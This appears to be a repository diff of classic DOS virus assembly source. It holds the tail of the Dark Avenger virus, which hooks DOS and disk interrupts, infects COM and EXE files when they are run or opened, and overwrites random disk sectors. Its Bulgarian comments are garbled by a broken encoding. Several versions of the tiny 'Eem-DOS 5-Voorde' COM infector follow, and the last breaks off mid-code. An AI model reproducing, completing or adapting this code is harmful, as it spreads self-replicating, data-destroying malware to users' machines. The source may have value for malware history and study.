add sp,offset top_file+100h ;±²¥ª, §  ¤  ­¥ ±¥ ¯°¥¬¥±²¨ ¯°®£° ¬ ² 
sti ;¢º°µ³ ±²¥ª 
cmp sp,ds:[6]
jnc exit_com
exe_ok:
push ax
push es
push si
push ds
mov di,si
;  ¬¨° ­¥ ­   ¤°¥±  ­  INT 13h ¢ ROM-BIOS
xor ax,ax
push ax
mov ds,ax
les ax,ds:[13h*4]
mov word ptr cs:[si+fdisk],ax
mov word ptr cs:[si+fdisk+2],es
mov word ptr cs:[si+disk],ax
mov word ptr cs:[si+disk+2],es
mov ax,ds:[40h*4+2] ;‚ INT 40h ±¥ § ¯ §¢   ¤°¥±  ­  INT 13h
cmp ax,0f000h ;§  ¤¨±ª¥²¨ ¯°¨ ­ «¨·¨¥ ­  ²¢º°¤ ¤¨±ª
jne nofdisk
mov word ptr cs:[si+disk+2],ax
mov ax,ds:[40h*4]
mov word ptr cs:[si+disk],ax
mov dl,80h
mov ax,ds:[41h*4+2] ;INT 41h ®¡¨ª­®¢¥­® ±®·¨ ¢ ±¥£¬¥­² ,
cmp ax,0f000h ;ªº¤¥²® ¥ ®°¨£¨­ «­¨¿ INT 13h ¢¥ª²®°
je isfdisk
cmp ah,0c8h
jc nofdisk
cmp ah,0f4h
jnc nofdisk
test al,7fh
jnz nofdisk
mov ds,ax
cmp ds:[0],0aa55h
jne nofdisk
mov dl,ds:[2]
isfdisk:
mov ds,ax
xor dh,dh
mov cl,9
shl dx,cl
mov cx,dx
xor si,si
findvect:
lodsw ;Ž¡¨ª­®¢¥­® § ¯®·¢  ±:
cmp ax,0fa80h ; CMP DL,80h
jne altchk ; JNC ­¿ªº¤¥
lodsw
cmp ax,7380h
je intchk
jne nxt0
altchk:
cmp ax,0c2f6h ;¨«¨ ±:
jne nxt ; TEST DL,80h
lodsw ; JNZ ­¿ªº¤¥
cmp ax,7580h
jne nxt0
intchk:
inc si ;±«¥¤ ª®¥²® ¨¬ :
lodsw ; INT 40h
cmp ax,40cdh
je found
sub si,3
nxt0:
dec si
dec si
nxt:
dec si
loop findvect
jmp short nofdisk
found:
sub si,7
mov word ptr cs:[di+fdisk],si
mov word ptr cs:[di+fdisk+2],ds
nofdisk:
mov si,di
pop ds
; °®¢¥°ª  ¤ «¨ ¯°®£° ¬ ²  ¥ °¥§¨¤¥­²­ 
les ax,ds:[21h*4]
mov word ptr cs:[si+save_int_21],ax
mov word ptr cs:[si+save_int_21+2],es
push cs
pop ds
cmp ax,offset int_21
jne bad_func
xor di,di
mov cx,offset my_size
scan_func:
lodsb
scasb
jne bad_func
loop scan_func
pop es
jmp go_program
; °¥¬¥±²¢ ­¥ ­  ¯°®£° ¬ ²  ¢ £®°­¨¿ ª° © ­  ¯ ¬¥²² 
; (²³ª ¥ ¯º«­® ± £«³¯®±²¨ ¨ £°¥¸ª¨)
bad_func:
pop es
mov ah,49h
int 21h
mov bx,0ffffh
mov ah,48h
int 21h
sub bx,(top_bz+my_bz+1ch-1)/16+2
jc go_program
mov cx,es
stc
adc cx,bx
mov ah,4ah
int 21h
mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1
stc
sbb es:[2],bx
push es
mov es,cx
mov ah,4ah
int 21h
mov ax,es
dec ax
mov ds,ax
mov word ptr ds:[1],8
call mul_16
mov bx,ax
mov cx,dx
pop ds
mov ax,ds
call mul_16
add ax,ds:[6]
adc dx,0
sub ax,bx
sbb dx,cx
jc mem_ok
sub ds:[6],ax ; ¬ «¿¢ ­¥ ­  £®«¥¬¨­ ²  ­  ±¥£¬¥­² 
mem_ok:
pop si
push si
push ds
push cs
xor di,di
mov ds,di
lds ax,ds:[27h*4]
mov word ptr cs:[si+save_int_27],ax
mov word ptr cs:[si+save_int_27+2],ds
pop ds
mov cx,offset aux_size
rep movsb
xor ax,ax
mov ds,ax
mov ds:[21h*4],offset int_21;°¥µ¢ ¹ ­¥ ­  INT 21h ¨ INT 27h
mov ds:[21h*4+2],es
mov ds:[27h*4],offset int_27
mov ds:[27h*4+2],es
mov word ptr es:[filehndl],ax
pop es
go_program:
pop si
; ‡ ¬ §¢ ­¥ ­  ±«¥¤¢ ¹¨¿ ±¥ª²®° ®² ¤¨±ª 
xor ax,ax
mov ds,ax
mov ax,ds:[13h*4]
mov word ptr cs:[si+save_int_13],ax
mov ax,ds:[13h*4+2]
mov word ptr cs:[si+save_int_13+2],ax
mov ds:[13h*4],offset int_13
add ds:[13h*4],si
mov ds:[13h*4+2],cs
pop ds
push ds
push si
mov bx,si
lds ax,ds:[2ah]
xor si,si
mov dx,si
scan_envir: ; ¬¨°  ¨¬¥²® ­  ¯°®£° ¬ ² 
lodsw ;(±º± DOS 2.x ¨ ¡¥§ ¤°³£® ­¥ ° ¡®²¨)
dec si
test ax,ax
jnz scan_envir
add si,3
lodsb
; ‘«¥¤¢ ¹ ²  ¨­±²°³ª¶¨¿ ¥ ¯º«­  £«³¯®±². ޝ¨² ©²¥ ¤  ±¨ ­ ¯¨¸¥²¥ path-  ±
; ¬ «ª¨ ¡³ª¢¨, ±«¥¤ ²®¢  ¯³±­¥²¥ § ° §¥­  ¯°®£° ¬  ®² ² ¬. ‚ °¥§³«² ²
; ­  £°¥¸ª ²  ²³ª + £°¥¸ª  ¢ DOS ±«¥¤¢ ¹¨¿² ±¥ª²®° ­¥ ±¥ § ¬ §¢ , ­® ±¥
; § ¬ §¢ ² ¤¢  ¡ ©²  ¢ ¯ ¬¥²² , ­ ©-¢¥°®¿²­® ¢º°µ³ § ° §¥­ ²  ¯°®£° ¬ .
sub al,'A'
mov cx,1
push cs
pop ds
add bx,offset int_27
push ax
push bx
push cx
int 25h
pop ax
pop cx
pop bx
inc byte ptr [bx+0ah]
and byte ptr [bx+0ah],0fh ;ˆ§£«¥¦¤  15 ¯º²¨ ­¥¯° ¢¥­¥ ­¨¹® ¥ ¬­®£®
jnz store_sec ;¬ «ª® §  ­¿ª®¨ µ®° 
mov al,[bx+10h]
xor ah,ah
mul word ptr [bx+16h]
add ax,[bx+0eh]
push ax
mov ax,[bx+11h]
mov dx,32
mul dx
div word ptr [bx+0bh]
pop dx
add dx,ax
mov ax,[bx+8]
add ax,40h
cmp ax,[bx+13h]
jc store_new
inc ax
and ax,3fh
add ax,dx
cmp ax,[bx+13h]
jnc small_disk
store_new:
mov [bx+8],ax
store_sec:
pop ax
xor dx,dx
push ax
push bx
push cx
int 26h
; ‡ ¯¨±º² ¯°¥§ ²®¢  ¯°¥ªº±¢ ­¥ ­¥ ¥ ­ ©-³¬­®²® ­¥¹®, § ¹®²® ²® ¬®¦¥ ¤  ¡º¤¥
; ¯°¥µ¢ ­ ²® (ª ª²® ¥ ³±¯¿« ¤  § ¡¥«¥¦¨ ‚¥±¥«¨­ ®­·¥¢)
pop ax
pop cx
pop bx
pop ax
cmp byte ptr [bx+0ah],0
jne not_now
mov dx,[bx+8]
pop bx
push bx
int 26h
small_disk:
pop ax
not_now:
pop si
xor ax,ax
mov ds,ax
mov ax,word ptr cs:[si+save_int_13]
mov ds:[13h*4],ax
mov ax,word ptr cs:[si+save_int_13+2]
mov ds:[13h*4+2],ax
pop ds
pop ax
cmp word ptr cs:[si+my_save],5a4dh
jne go_exit_com
jmp exit_exe
go_exit_com:
jmp exit_com
int_24:
mov al,3 ;’ §¨ ¨­±²°³ª¶¨¿ ¨§£«¥¦¤  ¨§«¨¸­ 
iret
; Ž¡° ¡®²ª  ­  INT 27h (²®¢  ¥ ­¥®¡µ®¤¨¬®)
int_27:
pushf
call alloc
popf
jmp dword ptr cs:[save_int_27]
; °¨ DOS-´³­ª¶¨¨²¥ Set & Get Vector ±¥ ° ¡®²¨ ª ²® ·¥ «¨ ¯°®£° ¬ ²  ­¥ £¨ ¥
; ¯°¥µ¢ ­ «  (²®¢  ¥ ±º¬­¨²¥«­® ¯°¥¤¨¬±²¢® ¨ ¥ ¥¤¨­ ¢º§¬®¦¥­ ¨§²®·­¨ª ­ 
; ­¥¤®° §³¬¥­¨¿ ± ­¿ª®¨ "¨­²¥«¨£¥­²­¨" ¯°®£° ¬¨)
set_int_27:
mov word ptr cs:[save_int_27],dx
mov word ptr cs:[save_int_27+2],ds
popf
iret
set_int_21:
mov word ptr cs:[save_int_21],dx
mov word ptr cs:[save_int_21+2],ds
popf
iret
get_int_27:
les bx,dword ptr cs:[save_int_27]
popf
iret
get_int_21:
les bx,dword ptr cs:[save_int_21]
popf
iret
exec:
call do_file
call alloc
popf
jmp dword ptr cs:[save_int_21]
db 'Diana P.',0
; Ž¡° ¡®²ª  ­  INT 21h. ޱº¹¥±²¢¿¢  § ° §¿¢ ­¥²® ­  ´ ©«®¢¥²¥
; ¯°¨ ¨§¯º«­¥­¨¥, ª®¯¨° ­¥, ° §£«¥¦¤ ­¥ ¨«¨ ±º§¤ ¢ ­¥ ¨ ­¿ª®¨ ¤°³£¨ ®¯¥° ¶¨¨.
; ˆ§¯º«­¥­¨¥²® ­  ´³­ª¶¨¨ 0 ¨ 26h ¯°¥¤¨§¢¨ª¢  «®¸¨ ¯®±«¥¤¨¶¨.
int_21:
push bp
mov bp,sp
push [bp+6]
popf
pop bp
pushf
call ontop
cmp ax,2521h
je set_int_21
cmp ax,2527h
je set_int_27
cmp ax,3521h
je get_int_21
cmp ax,3527h
je get_int_27
cld
cmp ax,4b00h
je exec
cmp ah,3ch
je create
cmp ah,3eh
je close
cmp ah,5bh
jne not_create
create:
cmp word ptr cs:[filehndl],0;Œ®¦¥ ¨ ¤  ¥ 0 ¯°¨ ®²¢®°¥­ ´ ©«
jne dont_touch
call see_name
jnz dont_touch
call alloc
popf
call function
jc int_exit
pushf
push es
push cs
pop es
push si
push di
push cx
push ax
mov di,offset filehndl
stosw
mov si,dx
mov cx,65
move_name:
lodsb
stosb
test al,al
jz all_ok
loop move_name
mov word ptr es:[filehndl],cx
all_ok:
pop ax
pop cx
pop di
pop si
pop es
go_exit:
popf
jnc int_exit ;JMP
close:
cmp bx,word ptr cs:[filehndl]
jne dont_touch
test bx,bx
jz dont_touch
call alloc
popf
call function
jc int_exit
pushf
push ds
push cs
pop ds
push dx
mov dx,offset filehndl+2
call do_file
mov word ptr cs:[filehndl],0
pop dx
pop ds
jmp go_exit
not_create:
cmp ah,3dh
je touch
cmp ah,43h
je touch
cmp ah,56h ;‡  ±º¦ «¥­¨¥ ª®¬ ­¤­¨¿ ¨­²¥°¯°¥² ²®°
jne dont_touch ;­¥ ¨§¯®«§³¢  ² §¨ ´³­ª¶¨¿
touch:
call see_name
jnz dont_touch
call do_file
dont_touch:
call alloc
popf
call function
int_exit:
pushf
push ds
call get_chain
mov byte ptr ds:[0],'Z'
pop ds
popf
dummy proc far ;???
ret 2
dummy endp
; °®¢¥°¿¢  ¤ «¨ ´ ©«º² ¥ .COM ¨«¨ .EXE. ¥ ±¥ ¨§¢¨ª¢  ¯°¨ ¨§¯º«­¥­¨¥ ­  ´ ©«.
see_name:
push ax
push si
mov si,dx
scan_name:
lodsb
test al,al
jz bad_name
cmp al,'.'
jnz scan_name
call get_byte
mov ah,al
call get_byte
cmp ax,'co'
jz pos_com
cmp ax,'ex'
jnz good_name
call get_byte
cmp al,'e'
jmp short good_name
pos_com:
call get_byte
cmp al,'m'
jmp short good_name
bad_name:
inc al
good_name:
pop si
pop ax
ret
; °¥®¡° §³¢  ¢ lowercase (¯®¤¯°®£° ¬¨²¥ ±  ¢¥«¨ª® ­¥¹®).
get_byte:
lodsb
cmp al,'C'
jc byte_got
cmp al,'Y'
jnc byte_got
add al,20h
byte_got:
ret
; ˆ§¢¨ª¢  ®°¨£¨­ «­¨¿ INT 21h (§  ¤  ­¥ ±¥ § ¶¨ª«¨).
function:
pushf
call dword ptr cs:[save_int_21]
ret
; “°¥¦¤  ¢º¯°®±  ­  ¨§¯º«­¨¬ ´ ©«.
do_file:
push ds ;‡ ¯ §¢  °¥£¨±²°¨²¥ ¢ ±²¥ª 
push es
push si
push di
push ax
push bx
push cx
push dx
mov si,ds
xor ax,ax
mov ds,ax
les ax,ds:[24h*4] ;‡ ¯ §¢  INT 13h ¨ INT 24h ¢ ±²¥ª 
push es ;¨ £¨ ¯®¤¬¥­¿ ± ª®¨²® ²°¿¡¢ 
push ax
mov ds:[24h*4],offset int_24
mov ds:[24h*4+2],cs
les ax,ds:[13h*4]
mov word ptr cs:[save_int_13],ax
mov word ptr cs:[save_int_13+2],es
mov ds:[13h*4],offset int_13
mov ds:[13h*4+2],cs
push es
push ax
mov ds,si
xor cx,cx ;“°¥¦¤  ¢º¯°®±  ­  Read-only ´ ©«®¢¥²¥
mov ax,4300h
call function
mov bx,cx
and cl,0feh
cmp cl,bl
je dont_change
mov ax,4301h
call function
stc
dont_change:
pushf
push ds
push dx
push bx
mov ax,3d02h ;‘¥£  ¢¥·¥ ¬®¦¥¬ ­  ±¯®ª®©±²¢¨¥ ¤ 
call function ;®²¢®°¨¬ ´ ©« 
jc cant_open
mov bx,ax
call disease
mov ah,3eh ;‡ ²¢ °¿­¥
call function
cant_open:
pop cx
pop dx
pop ds
popf
jnc no_update
mov ax,4301h ;‚º§±² ­®¢¿¢ ­¥ ­   ²°¨¡³²¨²¥ ­  ´ ©« ,
call function ; ª® ±  ¡¨«¨ ¯°®¬¥­¥­¨ (§  ¢±¥ª¨ ±«³· ©)
no_update:
xor ax,ax ;‚º§±² ­®¢¿¢ ­¥ ­  INT 13h ¨ INT 24h
mov ds,ax
pop ds:[13h*4]
pop ds:[13h*4+2]
pop ds:[24h*4]
pop ds:[24h*4+2]
pop dx ;‚º§±² ­®¢¿¢ ­¥ ­  °¥£¨±²°¨²¥
pop cx
pop bx
pop ax
pop di
pop si
pop es
pop ds
ret
; ’ §¨ ¯®¤¯°®£° ¬  ¢º°¸¨ ·¥°­ ²  ° ¡®² .
disease:
push cs
pop ds
push cs
pop es
mov dx,offset top_save ;°®·¨² ­¥ ­  ­ · «®²® ­  ´ ©« 
mov cx,18h
mov ah,3fh
int 21h
xor cx,cx
xor dx,dx
mov ax,4202h ;‡ ¯ §¢ ­¥ ­  ¤º«¦¨­ ²  ­  ´ ©« 
int 21h
mov word ptr [top_save+1ah],dx
cmp ax,offset my_size ;¨ ²°¿¡¢ «® ¤  ¡º¤¥ top_file
sbb dx,0
jc stop_fuck_2 ;Œ «ª¨ ´ ©«®¢¥ ­¥ ±¥ § ° §¿¢ ²
mov word ptr [top_save+18h],ax
cmp word ptr [top_save],5a4dh
jne com_file
mov ax,word ptr [top_save+8]
add ax,word ptr [top_save+16h]
call mul_16
add ax,word ptr [top_save+14h]
adc dx,0
mov cx,dx
mov dx,ax
jmp short see_sick
com_file:
cmp byte ptr [top_save],0e9h
jne see_fuck
mov dx,word ptr [top_save+1]
add dx,103h
jc see_fuck
dec dh
xor cx,cx
; º«­  ¯°®¢¥°ª  ¤ «¨ §  ´ ©«  ¥ § «¥¯¥­ ª®©²® ²°¿¡¢ 
see_sick:
sub dx,startup-copyright
sbb cx,0
mov ax,4200h
int 21h
add ax,offset top_file
adc dx,0
cmp ax,word ptr [top_save+18h]
jne see_fuck
cmp dx,word ptr [top_save+1ah]
jne see_fuck
mov dx,offset top_save+1ch
mov si,dx
mov cx,offset my_size
mov ah,3fh
int 21h
jc see_fuck
cmp cx,ax
jne see_fuck
xor di,di
next_byte:
lodsb
scasb
jne see_fuck
loop next_byte
stop_fuck_2:
ret
see_fuck:
xor cx,cx ;®§¨¶¨®­¨° ­¥ ¢ ª° ¿ ­  ´ ©« 
xor dx,dx
mov ax,4202h
int 21h
cmp word ptr [top_save],5a4dh
je fuck_exe
add ax,offset aux_size+200h ;„  ­¥ ±² ­¥ .COM ´ ©«  ¬­®£® £®«¿¬
adc dx,0
je fuck_it
ret
; ˆ§° ¢­¿¢  ­  £° ­¨¶  ­  ¯ ° £° ´ §  .EXE ´ ©«®¢¥²¥. ’®¢  ¥  ¡±®«¾²­® ­¥­³¦­®.
fuck_exe:
mov dx,word ptr [top_save+18h]
neg dl
and dx,0fh
xor cx,cx
mov ax,4201h
int 21h
mov word ptr [top_save+18h],ax
mov word ptr [top_save+1ah],dx
fuck_it:
mov ax,5700h ;‡ ¯ §¢ ­¥ ­  ¤ ² ²  ­  ´ ©« 
int 21h
pushf
push cx
push dx
cmp word ptr [top_save],5a4dh
je exe_file ;Œ­®£® ³¬­®, ­¿¬  ¹®
mov ax,100h
jmp short set_adr
exe_file:
mov ax,word ptr [top_save+14h]
mov dx,word ptr [top_save+16h]
set_adr:
mov di,offset call_adr
stosw
mov ax,dx
stosw
mov ax,word ptr [top_save+10h]
stosw
mov ax,word ptr [top_save+0eh]
stosw
mov si,offset top_save ;’®¢  ¤ ¢  ¢º§¬®¦­®±² ­  ° §­¨ ¢°¥¤­¨
movsb ;¯°®£° ¬¨ ¤  ¢º§±² ­®¢¿² ²®·­®
movsw ;®°¨£¨­ «­ ²  ¤º«¦¨­  ­  .EXE ´ ©« 
xor dx,dx
mov cx,offset top_file
mov ah,40h
int 21h ;‡ ¯¨±¢ ­¥ ­  ¯°®£° ¬ ² 
jc go_no_fuck ;(­¥ ²° ±¨° ©²¥ ²³ª)
xor cx,ax
jnz go_no_fuck
mov dx,cx
mov ax,4200h
int 21h
cmp word ptr [top_save],5a4dh
je do_exe
mov byte ptr [top_save],0e9h
mov ax,word ptr [top_save+18h]
add ax,startup-copyright-3
mov word ptr [top_save+1],ax
mov cx,3
jmp short write_header
go_no_fuck:
jmp short no_fuck
; Š®­±²°³¨° ­¥ ­  header-  ­  .EXE ´ ©« 
do_exe:
call mul_hdr
not ax
not dx
inc ax
jne calc_offs
inc dx
calc_offs:
add ax,word ptr [top_save+18h]
adc dx,word ptr [top_save+1ah]
mov cx,10h
div cx
mov word ptr [top_save+14h],startup-copyright
mov word ptr [top_save+16h],ax
add ax,(offset top_file-offset copyright-1)/16+1
mov word ptr [top_save+0eh],ax
mov word ptr [top_save+10h],100h
add word ptr [top_save+18h],offset top_file
adc word ptr [top_save+1ah],0
mov ax,word ptr [top_save+18h]
and ax,1ffh
mov word ptr [top_save+2],ax
pushf
mov ax,word ptr [top_save+19h]
shr byte ptr [top_save+1bh],1
rcr ax,1
popf
jz update_len
inc ax
update_len:
mov word ptr [top_save+4],ax
mov cx,18h
write_header:
mov dx,offset top_save
mov ah,40h
int 21h ;‡ ¯¨±¢ ­¥ ­  ­ · «®²® ­  ´ ©« 
no_fuck:
pop dx
pop cx
popf
jc stop_fuck
mov ax,5701h ;‚º§±² ­®¢¿¢ ­¥ ­  ®°¨£¨­ «­ ²  ¤ ² 
int 21h
stop_fuck:
ret
; ˆ§¯®«§³¢  ±¥ ®² ¯®¤¯°®£° ¬¨²¥ §  ®¡° ¡®²ª  ­  INT 21h ¨ INT 27h ¢º¢ ¢°º§ª 
; ±º± ±ª°¨¢ ­¥²® ­  ¯°®£° ¬ ²  ¢ ¯ ¬¥²²  ®² µ®° , ª®¨²® ­¿¬  ­³¦¤  ¤  ¿
; ¢¨¦¤ ². –¿« ²  ² §¨ ±¨±²¥¬  ¥  ¡±³°¤­  ¨ £«³¯ ¢  ¨ ¥ ®¹¥ ¥¤¨­ ¨§²®·­¨ª
; ­  ª®­´«¨ª²­¨ ±¨²³ ¶¨¨.
alloc:
push ds
call get_chain
mov byte ptr ds:[0],'M'
pop ds
; ޱ¨£³°¿¢  ®±² ¢ ­¥²® ­  ¯°®£° ¬ ²  ­  ¢º°µ  ­  ¢¥°¨£ ²  ¯°®¶¥±¨,
; ¯°¥µ¢ ­ «¨ INT 21h (¥²® ®¹¥ ¥¤¨­ ¨§²®·­¨ª ­  ª®­´«¨ª²¨).
ontop:
push ds
push ax
push bx
push dx
xor bx,bx
mov ds,bx
lds dx,ds:[21h*4]
cmp dx,offset int_21
jne search_segment
mov ax,ds
mov bx,cs
cmp ax,bx
je test_complete
; °¥²º°±¢  ±¥£¬¥­²  ­  ­ ²° ¯­¨ª  ¯°¥µ¢ ­ « INT 21h, §  ¤  ­ ¬¥°¨ ªº¤¥ ²®©
; ¥ § ¯ §¨« ±² ° ²  ±²®©­®±² ¨ ¤  ¿ ¯®¤¬¥­¨. ‡  INT 27h ­¥ ±¥ ¯° ¢¨ ­¨¹®.
xor bx,bx
search_segment:
mov ax,[bx]
cmp ax,offset int_21
jne search_next
mov ax,cs
cmp ax,[bx+2]
je got_him
search_next:
inc bx
jne search_segment
je return_control
got_him:
mov ax,word ptr cs:[save_int_21]
mov [bx],ax
mov ax,word ptr cs:[save_int_21+2]
mov [bx+2],ax
mov word ptr cs:[save_int_21],dx
mov word ptr cs:[save_int_21+2],ds
xor bx,bx
; ˆ ¤  ­¥ £® ¯ §¨ ¢ ±º¹¨¿ ±¥£¬¥­², ²®¢  ¢±¥ ¥¤­® ­¿¬  ¤  ¬³ ¯®¬®£­¥
return_control:
mov ds,bx
mov ds:[21h*4],offset int_21
mov ds:[21h*4+2],cs
test_complete:
pop dx
pop bx
pop ax
pop ds
ret
;  ¬¨° ­¥ ­  ±¥£¬¥­²  ­  ¯®±«¥¤­¨¿ MCB
get_chain:
push ax
push bx
mov ah,62h
call function
mov ax,cs
dec ax
dec bx
next_blk:
mov ds,bx
stc
adc bx,ds:[3]
cmp bx,ax
jc next_blk
pop bx
pop ax
ret
; “¬­®¦¥­¨¥ ¯® 16
mul_hdr:
mov ax,word ptr [top_save+8]
mul_16:
mov dx,10h
mul dx
ret
db 'This program was written in the city of Sofia '
db '(C) 1988-89 Dark Avenger',0
; Ž¡° ¡®²ª  ­  INT 13h.
; ˆ§¢¨ª¢  ®°¨£¨­ «­¨²¥ ¢¥ª²®°¨ ¢ BIOS,  ª® ±² ¢  ¤³¬  §  § ¯¨±.
int_13:
cmp ah,3
jnz subfn_ok
cmp dl,80h
jnc hdisk
db 0eah ;JMP XXXX:YYYY
my_size: ;--- „®²³ª ±¥ ±° ¢­¿¢  ± ®°¨£¨­ « 
disk:
dd 0
hdisk:
db 0eah ;JMP XXXX:YYYY
fdisk:
dd 0
subfn_ok:
db 0eah ;JMP XXXX:YYYY
save_int_13:
dd 0
call_adr:
dd 100h
stack_pointer:
dd 0 ;ް¨£¨­ «­  ±²®©­®±² ­  SS:SP
my_save:
int 20h ;ް¨£¨­ «­® ±º¤º°¦ ­¨¥ ­  ¯º°¢¨²¥
nop ;3 ¡ ©²  ®² ´ ©« 
top_file: ;--- „®²³ª ±¥ § ¯¨±¢  ¢º¢ ´ ©«®¢¥²¥
filehndl equ $
filename equ filehndl+2 ;³´¥° §  ¨¬¥ ­  ²¥ª³¹® ®²¢®°¥­¨¿ ´ ©«
save_int_27 equ filename+65 ;ް¨£¨­ «­  ±²®©­®±² ­  INT 27h
save_int_21 equ save_int_27+4 ;ް¨£¨­ «­  ±²®©­®±² ­  INT 21h
aux_size equ save_int_21+4 ;--- „®²³ª ±¥ ¯°¥¬¥±²¢  ¢ ¯ ¬¥²² 
top_save equ save_int_21+4 ; · «® ­  ¡³´¥° , ±º¤º°¦ ¹:
; - º°¢¨²¥ 24 ¡ ©²  ¯°®·¥²¥­¨ ®² ´ ©« 
; - „º«¦¨­ ²  ­  ´ ©«  (4 ¡ ©² )
; - ®±«¥¤­¨²¥ ¡ ©²®¢¥ ®² ´ ©« 
; (± ¤º«¦¨­  my_size)
top_bz equ top_save-copyright
my_bz equ my_size-copyright
code ends
end

+121
View File
@@ -0,0 +1,121 @@
; The Eem-DOS 5-Voorde Virus version 2.0
;
; Smallest (101 bytes) COM file infector which works with te folowing
; principe:
;
; Before:
; _____________________ ____________
; [first 3 bytes of file][rest of file]
;
; After:
; ____________ ____________ _____ _____________________
; [jmp to virus][rest of file][virus][first 3 bytes of file]
;
; This way the virus can restore the first 3 bytes of the file so
; the file will still work.
;
; If you want no registers to change you can add some pushes, but
; it'll make the virus much larger.....
;
; (C)1993 by [DàRkRàY] / TridenT
;
; BTW This is only a educational source, and this virus should not be
; spread, you may publish this file in it's original form.
; If you intend to spread this virus you will take all the responsibilities
; on youself so the author will not get into trubble.
; If you do not agree with this, destroy this file now.
;
_CODE SEGMENT
ASSUME CS:_CODE
ORG 100h
LEN EQU THE_END - VX ; This bab's length
START:
DB 0E9h,0,0 ; Jump te virus. (carrier
; program)
VX:
mov si,100H
PUSH SI ; Put 100h in DI and save
PUSH SI ; it as return point.
POP DI ;
CALL RELATIVE ;
RELATIVE: ; Calculate where the old 3
POP SI ; bytes are stored.
ADD SI,(OLD_BYTES - RELATIVE) ;
PUSH SI ; Save it for later.
; MOV CL,3 ; Restore the first 3 bytes.
; REP MOVSB ;
xor cl,cl
movsw
movsb
MOV DX,SI ; Set DX to file spec.
POP SI ; Restore SI
DEC AX ;
AGAIN: ADD AH,4Fh ; Search for (next) file
INT 21h ; and exit if non found.
JC EXIT ;
MOV DI,SI ; Put SI in DI
MOV AH,3Eh ; Close open file. (also
CALL OPEN ; nice anti-debug trick!)
MOV AH,3Fh ; Read first 3 bytes.
CALL IO ;
CMP BYTE PTR [DI],0E9h ; Next file if first instr.
JE AGAIN ; is a JMP FAR. (marker)
MOV AX,4202h ;
XOR CX,CX ; Goto EOF.
CWD ;
INT 21h ;
SUB AX,3 ;
ADD DI,8 ; Set JMP to virus.
MOV WORD PTR DS:[DI],AX ;
MOV AH,40h ;
MOV CL,LEN ; Write virus and open
MOV DX,DI ; file again.
SUB DX,(OLD_BYTES - VX) + 8 ;
CALL OPEN ;
DEC DI ; Write JMP
MOV AH,40h ;
IO:
MOV CL,3 ;
MOV DX,DI ; Read or write 3 bytes.
INT 21h ;
EXIT:
RET ; Start carrier program.
OPEN:
INT 21h ;
MOV AX,3D02h ;
MOV DX,9Eh ; Open file.
INT 21h ;
XCHG BX,AX ;
RET
OLD_BYTES: NOP ;
NOP ; First 3 bytes of carrier
RET ; program.
FILE_NAME: DB '*.*',0h ; File to search for (all)
NEW_BYTES DB 0E9h ; JMP to virus buffer.
THE_END:
_CODE ENDS
END START

@@ -0,0 +1,123 @@
; The Eem-DOS 5-Voorde Virus
;
; Smallest COM file infector which works with te folowing principe:
;
; Before:
; _____________________ ____________
; [first 3 bytes of file][rest of file]
;
; After:
; ____________ ___________________ _____________________
; [jmp to virus][rest of file][virus][first 3 bytes of file]
;
; This way the virus can restore the first 3 bytes of the file so
; the file will still work.
;
; If you want no registers to change you can add some pushes, but
; it'll make the virus much larger.....
;
; (C)1993 by [DàRkRàY] / TridenT
;
; BTW This is only a educational source, and this virus should not be
; spread, you may publish this file in it's original form.
; If you intend to spread this virus you will take all the responsibilities
; on youself so the author will not get into trubble.
; If you do not agree with this, destroy this file now.
;
; You can reach me by contacting Byte Hunter. at Hunter BBS (he's the sysop)
; +31-33-634415, and he'll get you in touch with me...
;
_CODE SEGMENT
ASSUME CS:_CODE
ORG 100h
LEN EQU THE_END - VX ; Length of this babe...
START:
DB 0E9h,0,0 ; Jmp to virus
VX:
CALL RELATIVE ;
RELATIVE: ; Calculate relative offset
POP BP ;
SUB BP,OFFSET RELATIVE ;
MOV DI,SI ; Make DI = 100h and save
PUSH DI ; it as return point.
LEA SI,[BP + OLD_BYTES] ;
MOV CL,3 ; Restore old first bytes.
REP MOVSB ;
MOV DX,SI ; Set DX to filespec.
DEC AX ; Make AX=-1
AGAIN: ADD AH,4Fh ;
INT 21h ; Search for file(s)
JNC OK_1 ; If non left exit.
RET ;
OK_1:
MOV AH,3Eh ; Close old file, also nice
INT 21h ; anti-debug trick!!!!
MOV DI,SI ; Set DI to save old bytes
SUB DI,3 ;
CALL OPEN ; Open the victim
MOV AH,3Fh ; Save first 3 bytes
CALL IO ;
CMP BYTE PTR [DI],0E9h ; Is it allready infected?
JE AGAIN ; If so, find next
MOV AX,4202h ;
XOR CX,CX ; Set pointer to end of file
CWD ;
INT 21h ;
SUB AX,3 ;
ADD DI,8 ; Set jump to virus
MOV WORD PTR DS:[DI],AX ;
MOV AH,40h ;
MOV CL,LEN ; Write virus
LEA DX,[BP + VX] ;
INT 21h ;
CALL OPEN ; Open victim again
MOV AH,40h ;
DEC DI ; Write jmp to virus
CALL IO ;
RET ; Return to DOS
IO:
MOV CL,3 ;
MOV DX,DI ; Read or write sub
INT 21h ;
RET ;
OPEN:
MOV AX,3D02h ;
MOV DX,9Eh ; Open file in PSP for
INT 21h ; reading/writing
XCHG BX,AX ;
RET ;
OLD_BYTES: NOP ;
NOP ; Old first bytes of file
RET ;
FILE_NAME: DB '*.*',0h ; Infect all files.
; (and COM files will also
; be infected....)
NEW_BYTES DB 0E9h ; Jmp to virus
THE_END: ; Bye Bye!
_CODE ENDS
END START
@@ -0,0 +1,117 @@
; The Eem-DOS 5-Voorde Virus version 2.0
;
; Smallest (101 bytes) COM file infector which works with te folowing
; principe:
;
; Before:
; _____________________ ____________
; [first 3 bytes of file][rest of file]
;
; After:
; ____________ ____________ _____ _____________________
; [jmp to virus][rest of file][virus][first 3 bytes of file]
;
; This way the virus can restore the first 3 bytes of the file so
; the file will still work.
;
; If you want no registers to change you can add some pushes, but
; it'll make the virus much larger.....
;
; (C)1993 by [DàRkRàY] / TridenT
;
; BTW This is only a educational source, and this virus should not be
; spread, you may publish this file in it's original form.
; If you intend to spread this virus you will take all the responsibilities
; on youself so the author will not get into trubble.
; If you do not agree with this, destroy this file now.
;
_CODE SEGMENT
ASSUME CS:_CODE
ORG 100h
LEN EQU THE_END - VX ; This bab's length
START:
DB 0E9h,0,0 ; Jump te virus. (carrier
; program)
VX:
PUSH SI ; Put 100h in DI and save
PUSH SI ; it as return point.
POP DI ;
CALL RELATIVE ;
RELATIVE: ; Calculate where the old 3
POP SI ; bytes are stored.
ADD SI,(OLD_BYTES - RELATIVE) ;
PUSH SI ; Save it for later.
MOV CL,3 ; Restore the first 3 bytes.
REP MOVSB ;
